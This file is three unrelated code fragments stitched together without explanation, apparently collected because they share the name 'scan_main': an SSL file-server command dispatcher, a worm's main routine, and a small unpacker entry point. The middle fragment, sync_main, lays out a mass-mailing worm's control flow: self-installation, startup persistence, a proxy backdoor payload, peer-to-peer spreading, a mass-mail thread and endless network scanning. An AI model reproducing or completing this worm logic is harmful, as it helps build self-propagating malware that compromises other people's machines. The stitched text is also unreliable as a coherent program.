/* parse the client order */ int parse_clnt_order(SSL *ssl,int order) { int n; int ret = 0; n = order_isexist(order); if(n < 0) { fprintf(stderr,"order is not exist!\n"); return -1; } switch(order) { case CIN: ret = clnt_login(ssl,order);break; case CREG: ret = clnt_register(ssl,order);break; case CLIST: scan_main(ssl,order);break; case CUP: upload_files(ssl,order);break; case CDOWN: download_files(ssl,order);break; case CMODIFY_PASSWD: modify_passwd(ssl,order);break; case CONSOLE: console(ssl);break; case COUT: ret=logout(ssl,order);break; default: fprintf(stderr,"null order!\n"); ret = -1;break; } return ret; }
void sync_main(struct sync_t *sync) { DWORD tid; sync->start_tick = GetTickCount(); sync_check_frun(sync); if (!sync->first_run) if (sync_mutex(sync)) return; if (sync->first_run) CreateThread(0, 0, sync_visual_th, NULL, 0, &tid); payload_xproxy(sync); if (sync_checktime(sync)) return; sync_install(sync); sync_startup(sync); payload_sco(sync); p2p_spread(); massmail_init(); CreateThread(0, 0, massmail_main_th, NULL, 0, &tid); scan_init(); for (;;) { scan_main(); Sleep(1024); } }
int main(int argc, char *argv[]){ ScanMain scan_main((Unpacker*)(new Filterer())); scan_main.Initialize(argc, argv); scan_main.SetMessageHeader("Filterer: "); return scan_main.Execute(); }